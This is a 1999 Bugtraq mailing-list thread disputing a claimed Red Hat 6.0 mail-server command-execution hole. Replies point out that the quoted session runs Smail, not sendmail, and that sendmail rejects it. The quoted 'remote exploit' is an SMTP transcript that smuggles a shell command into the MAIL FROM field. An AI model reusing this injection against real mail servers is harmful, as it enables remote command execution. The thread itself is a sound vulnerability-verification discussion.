Re: RH6.0 local/remote command execution

[dcrawford () ERAC COM (Danny Crawford)]

That does not look like the MTA that comes with RH 6.0. That is smail not
sendmail. I tryed this on my RH 6.0 install and it didn't work.
Notice the "220 fear62 Smail-3.2"
It's not sendmail.

-----Original Message-----
From: Bugtraq List [mailto:BUGTRAQ () SECURITYFOCUS COM]On Behalf Of Neezam
Haniff
Sent: Wednesday, October 06, 1999 12:50 PM
To: BUGTRAQ () SECURITYFOCUS COM
Subject: RH6.0 local/remote command execution

Hi,

Here are some comments below...

> The remote exploit is merely:
> bash-2.03$ telnet localhost 25
> Trying 127.0.0.1...
> Connected to localhost.
> Escape character is '^]'.
> 220 fear62 Smail-3.2 (#1 1999-Jul-23) ready at Tue, 5 Oct 1999
11:31:13 -0500
> (CDT)
> MAIL FROM: ;/command/to/execute;
> 250 <;/command/to/execute;> ... Sender Okay
> RCPT TO: rpmmail
> 250 <rpmmail> ... Recipient Okay
> data
> 354 Enter mail, end with "." on a line by itself
> .
> 250 Mail accepted
> quit

I find this odd that this exploit could exist on a Red Hat 6.0 installation.
sendmail 8.9.3 is the mailer that is installed and the way it's been
configured, there's no way it would accept that sender address since it's
not qualifiable. Please confirm this. This is what I get when I test this
scenario on a Red Hat 6.0 system:

[[nhaniff@dhcp-160-190 nhaniff]$ telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 dhcp-160-190.x.x ESMTP Sendmail 8.9.3/8.9.3; Wed, 6 Oct 1999
13:31:55 -0400
helo x.x
250 dhcp-160-190.x.x Hello IDENT:250 dhcp-160-190.x.x Hello IDENT:nhaniff@localhost [127.0.0.1], pleased to
meet you
MAIL FROM: ;/command/to/execute;
553 ;/command/to/execute;... Domain name required

The only way someone could take advantage of this exploit is if their mailer
configuration allows for the sender to non-qualifiable.

Neezam.